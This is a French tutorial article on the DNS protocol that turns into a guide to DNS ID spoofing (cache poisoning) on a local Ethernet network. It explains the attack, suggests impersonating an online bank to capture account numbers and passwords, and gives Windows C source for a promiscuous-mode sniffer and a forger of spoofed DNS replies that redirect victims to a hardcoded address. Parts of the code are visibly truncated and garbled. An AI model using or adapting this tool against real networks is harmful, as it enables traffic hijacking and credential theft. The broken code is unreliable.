Cette article présente la méthode du DNS id Spoofing sur les réseaux Ethernet. Cette méthode permet de détourner des noms de domaines sur un réseau local.
Le tout est illustré par des sources sous windows, portable sous linux facilement.
Les sources se composent d'un sniffer, et d'un forgeur de paquet.
Usurpation d'identité au
niveau de la couche session
DNS cache poisoning
Copyleft a condition que l'etiquette soit conservé
Romain Le Guen romainl.com>
http://coding.romainl.com & http://www.romainl.com
1 Etude du protocole DNS
1.1 Historique des noms de domaine
L'adressage IP, base de l'interconnexion, permet d'identifier de manière unique
une machine sur un réseau. Nous pouvons, si nous le souhaitons, nous connecter
à un site en ligne à partir de son adresse IP en saisissant dans un navigateur
: « http ://xxx.xxx.xxx.xxx/ » (avec xxx.xxx.xxx.xxx l'adresse IP de la
machine).
La difficulté de mémorisation d'une adresse IP (du type 194.214.10.124) a amené
les organismes de normalisation à se pencher sur une solution facilitant cette
mémorisation : la création de noms de domaine. Les noms de domaines permettent
d'associer à une adresse IP numérique, un nom simple et textuelle du type «
www.univ-paris12.fr ». La gestion de ces noms de domaine a, dans un premier
temps, été centralisée par le « Network Information Center » (NIC) sous forme
d'un fichier unique : HOSTS.TXT regroupant les correspondances HostName/IP.
Cette gestion a posé une multitude de problèmes.
- L'architecture centralisée [RFC-952, RFC-953] utilisée pour partager
le fichier a rendu ce système inutilisable dans une perspective mondiale.
- L'augmentation du nombre de machine sur le réseau a rendu
considérable le débit nécessaire au niveau du serveur pour l'envoi du fichier
HOSTS.TXT vers toutes les machines du réseau.
- Le temps de mise à jour du fichier posait de réels problèmes pour les
personnes désirant créer leur nom de domaine.
Ces difficultés d'administration ont finalement entraîné des équipes de
recherche à trouver de nouvelles solutions [IEN-116, RFC-799, RFC-819,
RFC-830]. Ces recherches ont abouti sur un principe simple permettant de régir
les noms de domaines de façon hiérarchique en utilisant le caractère « . »
comme séparateur de niveau hiérarchique.
1.2 Objectifs de la conception du DNS
Les objectifs de création du DNS ont influencé largement sa structure et ce
pour plusieurs raisons :
- Le système conçu doit pouvoir être multi-plateforme, c'est à
dire qu'il peut être utilisable aussi bien par des postes clients que
par des mainframes. La compatibilité du système doit être totale pour être
fonctionnelle.
- Les transactions avec le serveur de noms ne doivent pas être
dépendantes du système de communication utilisé.
- Le protocole doit pouvoir gérer tout les types d'adresses de
classe 3 (ex : IP, X25).
- Le protocole doit pouvoir servir à identifier à la fois des adresses
de courriers électroniques ou de machines.
- L'architecture de gestion doit pouvoir supporter une grande
quantité d'information. Nous utiliserons donc une architecture
distribuée.
- Pour éviter tout problèmes de transcodage, les noms de domaine
doivent être composer de caractère (« a-z » , « 1-9 » , « - » , « . »).
1.3 Fonctionnement de l'architecture DNS
Les organismes de normalisation ont définit les standards de structuration des
domaines en définissant de manière simple la séparation des niveaux
d'autorités.
Les noms de domaines auront la forme generale suivante :
feuille.sous-class.toplevel
exemple de feuille : www,mail,pop,smtp;
exemple de sous-class : google,romainl,redkod;
exemple de toplevel : com,edu,fr,net;
Lorsque qu'un utilisateur quelconque désire se connecter à une machine distante
grâce à un nom de domaine, la machine cliente va dépêcher une requête de
demande au serveur de résolution (aussi baptisé serveur DNS pour Domain Name
Service) afin d'obtenir l'adresse IP de la machine.
Le serveur va dans un premier temps vérifier si le nom de domaine recherché ne
coïncide pas avec son domaine d'autorité, si c'est le cas il connaît l'adresse
IP il peut donc la renvoyer, sinon il vérifie s'il ne possède pas cette adresse
dans son « cache » mémoire, c'est à dire qu'il vérifie si le nom de domaine ne
lui a pas déjà été demandé préalablement (auquel cas il connaît la réponse et
il l'envoi), le cas échéant, il envoi une requête au serveur DNS lui faisant
autorité et ceci récursivement jusqu'à ce que le domaine soit résolu.
A partir de ce type de schéma les résolutions ne sont plus des problèmes, la
mise a jour se fait rapidement, nul besoin de télécharger de fichier de taille
importante, le traitement est dit « distribué ».
1.4 Le protocole
Apres avoir étudié les concepts sur la résolution nous allons nous pencher sur
l'implémentation protocolaire du DNS a travers les réseaux IP de manière
générale. Nous nous intéresserons surtout aux communications client/serveur.
Le protocole DNS est situé au dessus de la couche transport du modèle OSI de
l'ISO :
Niveau du modele OSI | Pile de protocole
________________________|_________________________
5 Session | DNS
4 Transport | UDP
3 Reseaux | IP
2 Liaison de donnees | Ethernet
Encapsulation du protocole DNS
Architecture du protocole
+------------------------16 ------------------------+
| Transaction ID | Flags | Zone 1
+---------------------------------------------------+
| Nombre de questions | Nombre de reponse RR |
+---------------------------------------------------+
| Nombre d'authority RR | Nombre d'additional RR|
+---------------------------------------------------+
| Nom de l'hote a rechercher (taille variable) | Zone 2
+---------------------------------------------------+
| Type | Class |
+---------------------------------------------------+
| TTL ( temps de vie de la reponse) |
+---------------------------------------------------+
| Long. de l'@ de resp | Adresse rechercher(IP) | Zone 3
+---------------------------------------------------+
| Noms de serveurs faisant authorite | Zone 4
+---------------------------------------------------+
| Options |
+---------------------------------------------------+
| Enregistrements additionnels | Zone 5
+---------------------------------------------------+
| options... |
+---------------------------------------------------+
Le protocole se divise en quatre grandes parties.
- Dans la première partie (zone1) , nous retrouvons le transactionID qui permet
de prévenir les ambiguïtés en cas de requêtes similaires de la part de deux
machines du réseau (à l'image du champ identification du protocole IP ). Les «
flags » permettent de définir les options générales. Les valeurs des
indicateurs les plus fréquentes sont :
Code en Ox | Value
________________|____________________________________
0100 | Question
8180 | Reponse du serveur Sans erreur
8183 | Reponse du serveur avec erreur
- Dans la deuxième partie (zone2), nous retrouvons la « Query », autrement dit
la demande adressée au serveur de résolution de noms.
Le champ « nom d'hôte à rechercher » contient la requête à proprement parler.
Le champ « type » contient un code permettant de connaître le type d'adresse à
rechercher. Ce champ est généralement à « 1 » (pour HostAdress) sur Ethernet.
Le champ « class » permet de définir la classe de l'adresse, sur Ethernet ce
champ sera à « 1 » pour une classe INET qui correspond aux adresses IP.
- Dans la troisième partie (zone3), nous retrouverons la réponse de la « Query
». Cette partie est composée de plusieurs champs. Le champ « réponse » contient
le positionnement de la « query » dans la trame. Le champ type est identique à
celui de la zone 2. Le champ « class » est identique a celui de la zone 2. Le
champ « Temps de vie » permet de connaître la durée de validité de la réponse
donnée. Le champ « longueur » contient la taille de l'adresse contenue dans le
champ « adresse recherché ».
- La quatrième partie (zone4), permettra d'identifier les serveurs ayants fait
autorité pour la réponse.
- Enfin la dernière partie (zone5), permettra d'identifier les serveurs ayants
participé à la résolution du nom de domaine mais ne faisant pas autorité.
Il est à noter que les zones quatre et cinq ne sont pas indispensable à la
résolution des noms de domaines. Ces champs sont facultatifs.
2.1 Failles de sécurité
2.1.1 Enjeux de la sécurité
Le transport de données confidentielles à travers le réseau doit garantir à
l'utilisateur une totale confidentialité. L'acheminement des données doit
pouvoir se faire de façon totalement sécurisée. Nous imaginons aisément combien
il est important de garantir un lien sécurisé lors de la communication de
certains mots de passe, de numéros de cartes bleues ou encore de données
stratégiques industrielles.
Sachant qu'un nom de domaine garanti l'identité d'une machine sur le réseau, on
en vient à se demander si ces noms de domaine ne peuvent pas être usurpés de
manière à s'approprier l'identité d'un serveur.
En s'accaparant de l'identité d'une machine, nous pourrions imaginer divers
scénarios. En usurpant l'identité du nom de domaine d'une banque en ligne, nous
aurions la capacité de récupérer par exemple des numéros de compte en banque ou
encore des mots de passes permettant l'accès à des zones privées de virement de
fonds.
2.1.2 Presentation de la méthode DNS id Spoofing
Cette méthode est applicable si le pirate se trouve sur le meme réseau Ethernet
que la victime. En d'autres termes si le pirate peut sniffer les DNS QUERY
et DNS REPLY de la victime.
Cet exploit est relativement simple, il se décompose en deux phases.
La première consiste à sniffer le réseau à la recherche de DNS QUERY. Lorsque
l'une d'entre elles nous paraît intéressante nous allons l'analyser en
déterminant les adresses source et destination.
La deuxième phase nous amène à envoyer une fausse réponse DNS à la victime. On
forge donc un paquet à la volée contenant les adresses source IP et MAC du
serveur DNS, les adresses destination TCP, IP et MAC de la victime. On
remplit le champ de réponse avec de fausses adresses (ex: la notre). Le TTL du
header DNS sera fixé de manière à allonger le temps de vie de la réponse dans
la cache de la machine victime.
Si notre paquet usurpé est envoyé avant la réponse du serveur DNS notre
réponse sera prise en compte. La machine aura donc un cache DNS empoisonné pour
une durée égale au Time To Live du paquet.
3 Implémentation
Les trames n'étant qu'une simple suite d'octets, leurs créations en programmation
se résument au remplissage des différents champs d'une structure de données créées
en C.
Cependant, le système des sockets classiques (commun à Windows et Linux) se
limite à l'envoi de données qui seront encapsulées par TCP/IP puis par Ethernet,
et interdit l'accès direct au pilote de la carte réseau, ou encore aux
protocoles exotiques (pour l'utilisateur lambda) comme ARP.
Fort heureusement, sous Linux, le système des RAW sockets permet de réaliser
des opérations de lecture/écriture sur le driver de la carte réseau. Les
données passées à une RAW socket sont envoyées sur le réseau sans aucun
traitement de la part du noyau (seul le CRC et les octets de synchronisation
sont ajoutés par la carte Ethernet), ce qui permet un contrôle complet de
n'importe quel protocole réseau.
Nous supposons aussi que nous sommes capables d'intercepter toute trame
transmise sur le réseau, même si elle ne nous est pas destinée physiquement.
Cette opération est réalisée en faisant passer la carte réseau en mode
PROMISCUOUS, mode de fonctionnement qui élimine le filtrage réalisé par le
matériel sur les adresses destination de l'entête Ethernet.
Là encore, Linux fournit un mécanisme simple pour modifier les drapeaux (flags)
des périphériques réseau, via l'appel système ioctl().
La réalisation de telles opérations n'est pas possible sous Windows de manière
native, parce que les RAW sockets ne sont que partiellement implémentées.
En revanche, un pilote capable de s'intercaler dans la pile de protocole Win32
est disponible sur le web. WinPcap permet, par conséquent, de communiquer avec
le pilote de la carte réseau avec autant de simplicité que sous Linux.
3.1 Choix d'implémentation
On utilisera la librairie WinPCap [1] pour sniffer et générer des paquets sur
le réseaux. Cette librairie est aussi et avant tout disponible sous linux [2].
Elle offre une interface de communication relativement simple avec les cartes
réseaux.
Toutes les sources seront facilement portable sous Linux.
3.2 Code source du "sniffer"
3.2.1 Initialisation de la carte réseau et
debut de l'appel au sniffer
---cut-------------------------------------------------------------------------
LPADAPTER adapter;
BOOLEAN Sniff(){
LPPACKET paquetrcv;
unsigned char tramercv[1600];
unsigned long BuffSize;
WCHAR device[512];
WCHAR Adapter[5][100];
unsigned int AdaptNumber=0;
unsigned int i=0;
unsigned int itmp=0;
unsigned int j=0;
/*********** Recup le nom des interfaces ****/
if((PacketGetAdapterNames((char *)device,&BuffSize))==-1){
printf("
>Erreur : GetAdapterNames();");
return -1;
}
/*********** Give Me Adaptateur *************/
for(i=0;iErreur : Ouverture de l'adaptateur !");
return -1;
}
/*********** Set In Promiscuous Mode ********/
if(!PacketSetHwFilter(adapter,NDIS_PACKET_TYPE_PROMISCUOUS)){
printf("
>Erreur : Impossible de passer en mode Promiscuous");
return -1;
}
/*********** Allocate Packet ****************/
paquetrcv = PacketAllocatePacket();
if(!paquetrcv){
printf("
>Erreur : AllocatePacket();");
return -1;
}
/*********** Initialise le paquet ***********/
PacketInitPacket(paquetrcv,tramercv,1600);
/*********** Time OUT **********************/
if(!PacketSetReadTimeout(adapter,10000)){
printf("
>Erreur : SetTimeOut();");
return -1;
}
/*********** Taille buffer driver***********/
PacketSetBuff(adapter, 512000);
/*********** PacketReceive *****************/
while(1){
if(!PacketReceivePacket(adapter,paquetrcv,TRUE)){
printf(">Erreur : ReceivePacket();
");
return -1;
}
else{
if((paquetrcv->ulBytesReceived)!=0){
Analyse(paquetrcv);
}
}
}
}
---cut-------------------------------------------------------------------------
3.2.2 Analyse du paquet, recherche de DNS QUERY, et
appel de ForgeSendPacket
Cette analyseur recherche simplement les DNS QUERY. Lorsqu'une requête a été
capturée elle est envoyé à ForgeSendPacket.
---cut-------------------------------------------------------------------------
void Analyse(LPPACKET paquet){
bpf_hdr *ph;
unsigned char * p;
unsigned int PckLength;
unsigned int PckCapLength;
unsigned int OffSet=0;
unsigned int i=0;
unsigned int Level4Size;
unsigned short HeaderLength;
struct hostent * h;
/****************** RECUP LES INFOS DU HEADER ************/
while(OffSetulBytesReceived)){
//printf("--------------%d -------%d
",OffSet,paquet->ulBytesReceived);
ph=(bpf_hdr *)((char *)paquet->Buffer+OffSet);
PckLength=(ph->bh_datalen);
PckCapLength=(ph->bh_caplen);
HeaderLength=(ph->bh_hdrlen);
/****************** RECUP UN POINTEUR SUR LA TRAME ***/
p =(unsigned char *)paquet->Buffer+HeaderLength+OffSet;
/****************** DECODAGE DE LA TRAME *************/
/**** TRAME IP ***************************************/
if(p[12]==0x08 && p[13]==0x00){
Level4Size=(*(p+16))*256+*(p+17)-20-20;
// -20 -> header IP, -20 ->Header TCP
//*(p+16))*256+*(p+17) -> Longueur Total au niveau IP
if(*(p+23)==0x11){
/* dans le sens de REQUEST ! portudp dst = 53 */
if((*(p+36)==0x00 && *(p+37)==53) && (*(p+26+3)==132)){
printf("
DNS REQUEST FOUND !>
>RequestFROM :");
for(i=0;ih_name );
}
else{
printf(" Resolve impossible ! ");
}
printf(">Request:");
i=0;
while(*(p+54+i)!=0x00){
// on affiche si c'est un caractere
if(((*(p+54+i)>=0x61)
&& (*(p+54+i)=0x30)
&& (*(p+54+i)Erreur ForgePacket");
}
else{
printf("
>ForgePacketOK");
}
printf("
FIN REQUEST>__________
");
}
}
}
OffSet=Packet_WORDALIGN(OffSet+PckLength+HeaderLength);
}
}
---cut-------------------------------------------------------------------------
3.2.3 Forge le paquet usurpé et l'envoi
La préparation du paquet se limite à la création d'un buffer possédant les
bonnes valeurs (according to protocols). Les commentaires dans le code parlent
d'eux mêmes.
---cut-------------------------------------------------------------------------
// Forge Packet : Forge le paquet reply DNS a partir d'un paquet recu
// du reseau, ensuite la fonction envoi le paquet forger sur le reseau
// a condition que l'adaptateur soit deja selectionner
BOOLEAN ForgeSendPacket(unsigned char * p){
unsigned int i;
LPPACKET paquetsd;
unsigned char tramesd[1600];
printf("
>Start PacketForge ...");
// ETH mac dst = mac src
*(tramesd+0)=*(p+6);
*(tramesd+1)=*(p+7);
*(tramesd+2)=*(p+8);
*(tramesd+3)=*(p+9);
*(tramesd+4)=*(p+10);
*(tramesd+5)=*(p+11);
// ETH mac src = mac dst
*(tramesd+6)=*(p+0);
*(tramesd+7)=*(p+1);
*(tramesd+8)=*(p+2);
*(tramesd+9)=*(p+3);
*(tramesd+10)=*(p+4);
*(tramesd+11)=*(p+5);
// ETH type = type = IP
*(tramesd+12)=*(p+12);
*(tramesd+13)=*(p+13);
printf("
>Start PacketForge ...ETH OK");
// IP version + lenght header
*(tramesd+14)=*(p+14);
// IP champs de service
*(tramesd+15)=*(p+15);
// IP Champs Longueur
//*(tramesd+16)=100;
//*(tramesd+17)=100;
// IP ident
*(tramesd+18)=0xba;// au pif c'est l'ident o met ce qu'on veut !
*(tramesd+19)=0xfe;
// IP Not DF, not MF + IP Fgmt Offset
*(tramesd+20)=0;
*(tramesd+21)=0;
// IP TTL
*(tramesd+22)=0xfd;
// IP Protocol superieur
*(tramesd+23)=0x11;
// IP Checksum A calculer ?? HUM oui ... A la fin c mieux ..
*(tramesd+24)=0x00;
*(tramesd+25)=0x00;
// IP IP SRC = DST
*(tramesd+26)=*(p+30);
*(tramesd+27)=*(p+31);
*(tramesd+28)=*(p+32);
*(tramesd+29)=*(p+33);
// IP IP DST = SRC
*(tramesd+30)=*(p+26);
*(tramesd+31)=*(p+27);
*(tramesd+32)=*(p+28);
*(tramesd+33)=*(p+29);
printf("
>Start PacketForge ...IP OK");
// UDP Port SRC
*(tramesd+34)=*(p+36);
*(tramesd+35)=*(p+37);
// UDP port DST
*(tramesd+36)=*(p+34);
*(tramesd+37)=*(p+35);
// UDP Lenght A calculer
//*(tramesd+38)=0;
//*(tramesd+39)=255;
// UDP CRC calcul pas obligatoire!
*(tramesd+40)=0;
*(tramesd+41)=0;
printf("
>Start PacketForge ...UDP OK");
// DNS transaction ID
*(tramesd+42)=*(p+42);
*(tramesd+43)=*(p+43);
// DNS Type 0x8180 = Response
*(tramesd+44)=0x81;
*(tramesd+45)=0x80;
// DNS Question
*(tramesd+46)=0x00;
*(tramesd+47)=0x01;
// DNS Number of Answer
*(tramesd+48)=0x00;
*(tramesd+49)=0x01;
// DNS Number of Authority
*(tramesd+50)=0x00;
*(tramesd+51)=0x00;
// DNS Number of Additional Authority
*(tramesd+52)=0x00;
*(tramesd+53)=0x00;
// DNS Recopie la Query
i=0;
do{
*(tramesd+54+i)=*(p+54+i);
i++;
}while(*(p+54+i)!=0);
*(tramesd+54+i)=00;
// DNS ANSWER : Type Host address
*(tramesd+55+i)=00;
*(tramesd+56+i)=01;
// DNS ANSWER : Class : INET
*(tramesd+57+i)=00;
*(tramesd+58+i)=01;
// DNS ANSWER : Host address
*(tramesd+59+i)=0xc0;
*(tramesd+60+i)=0x0c;
// DNS ANSWER : Type : host address
*(tramesd+61+i)=0x00;
*(tramesd+62+i)=0x01;
// DNS ANSWER : Class : inet
*(tramesd+63+i)=0x00;
*(tramesd+64+i)=0x01;
// DNS ANSWER : TTL
*(tramesd+65+i)=0x00;
*(tramesd+66+i)=0x00;
*(tramesd+67+i)=0x00;
*(tramesd+68+i)=0x3b;
// DNS ANSWER : DATA LENGTH
*(tramesd+69+i)=0x00;
*(tramesd+70+i)=0x04;
// DNS ANSWER : REDIRECTION PIRATE !!!!! .....arf
*(tramesd+71+i)=194;
*(tramesd+72+i)=214;
*(tramesd+73+i)=10;
*(tramesd+74+i)=202;
printf("
>Start PacketForge ...DNS OK");
// UDP size !
*(tramesd+38)=0x00;
*(tramesd+39)=74-34+i+1;// i= longueur de la query,
// 69-34=35 longueur UDP + DNS sans la query
// IP size !
*(tramesd+16)=0x00;
*(tramesd+17)=*(tramesd+39)+20;//UDP SIZE + entete IP = UDP size + 20
printf("
>Start PacketForge ...SIZE OK");
// IP IPcheckSum
*((unsigned short*)(tramesd+24))=inet_checksum((unsigned short *)(tramesd+14),20);
printf("
>Checksum Set");
// LONGEUR TOTAL du packet generer= IP SIZE + 14(ETH)
//*(tramesd+39)+20+14
/*********** Check si l'adaptateur est OPEN **************/
if(!adapter){
printf("
>AdapterClosed !");
return -1;
}
/*********** Allocate Nouveau Packet pour envoyer ********/
paquetsd = PacketAllocatePacket();
if(!paquetsd){
printf("
>Erreur : AllocatePacket();");
return -1;
}
/*********** Initialise le paquet ***********/
PacketInitPacket(paquetsd,tramesd,*(tramesd+17)+14);
/*********** Try to send packet !************/
if(!PacketSendPacket(adapter,paquetsd,TRUE)){
printf("
>Erreur Send packet");
return -1;
}
else{
printf("
>Packet Successfully Send !");
}
return 1;
}
---cut-------------------------------------------------------------------------
3.2.4 Calcul du checksum IP
Le checksum du protocole IP doit être calculé une fois le paquet forgé. On
utilisera donc cette fonction (extrait du kernel linux) pour cela.
---cut-------------------------------------------------------------------------
unsigned short inet_checksum(unsigned short *pkt, int n)
{
register long sum;
unsigned short oddbyte;
register unsigned short answer;
/*
* Our algorithm is simple, using a 32-bit accumulator (sum),
* we add sequential 16-bit words to it, and at the end, fold back
* all the carry bits from the top 16 bits into the lower 16 bits.
*/
sum = 0;
while (n>1)
{
sum += *pkt++;
n -= 2;
}
/* mop up an odd byte, if necessary */
if (n == 1)
{
oddbyte = 0; /* make sure top half is zero */
*((unsigned char *)&oddbyte) = *(unsigned char *)pkt;/* one byte only */
sum+=oddbyte;
}
/*
* Add back carry outs from top 16 bits to low 16 bits.
*/
sum=(sum>>16)+(sum & 0xffff); /* add high-16 to low-16 */
sum+=(sum >> 16); /* add carry */
answer = (unsigned short)~sum; /* ones-complement, then truncate to 16 bits */
return answer;
}
---cut-------------------------------------------------------------------------
Conclusion
Finalement il s'avère que dans des milieux de type Ethernet la sécurité doit
être accrue.
[1] WinPcap: the Free Packet Capture Library for Windows
http://winpcap.polito.it/
http://sourceforge.net/projects/libpcap/
|